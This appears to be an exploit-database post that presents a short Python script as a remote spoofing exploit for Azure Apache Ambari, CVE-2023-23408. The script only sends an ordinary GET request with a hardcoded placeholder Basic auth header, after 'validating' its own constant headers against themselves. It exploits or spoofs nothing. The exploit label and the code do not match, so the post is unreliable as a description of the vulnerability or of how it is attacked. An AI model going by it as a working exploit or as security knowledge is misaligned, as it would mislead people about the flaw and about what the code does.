Azure Apache Ambari 2302250400 – Spoofing
# Exploit Title: Azure Apache Ambari 2302250400 - Spoofing # Date: 2023-06-23 # country: Iran # Exploit Author: Amirhossein Bahramizadeh # Category : Remote # Vendor Homepage: Microsoft Apache Ambari Microsoft azure Hdinsights # Tested on: Windows/Linux # CVE : CVE-2023-23408 import requests # Set the URL and headers for the Ambari web interface url = "https://ambari.example.com/api/v1/clusters/cluster_name/services" headers = {"X-Requested-By": "ambari", "Authorization": "Basic abcdefghijklmnop"} # Define a function to validate the headers def validate_headers(headers): if "X-Requested-By" not in headers or headers["X-Requested-By"] != "ambari": return False if "Authorization" not in headers or headers["Authorization"] != "Basic abcdefghijklmnop": return False return True # Define a function to send a request to the Ambari web interface def send_request(url, headers): if not validate_headers(headers): print("Invalid headers") return response = requests.get(url, headers=headers) if response.status_code == 200: print("Request successful") else: print("Request failed") # Call the send_request function with the URL and headers send_request(url, headers) |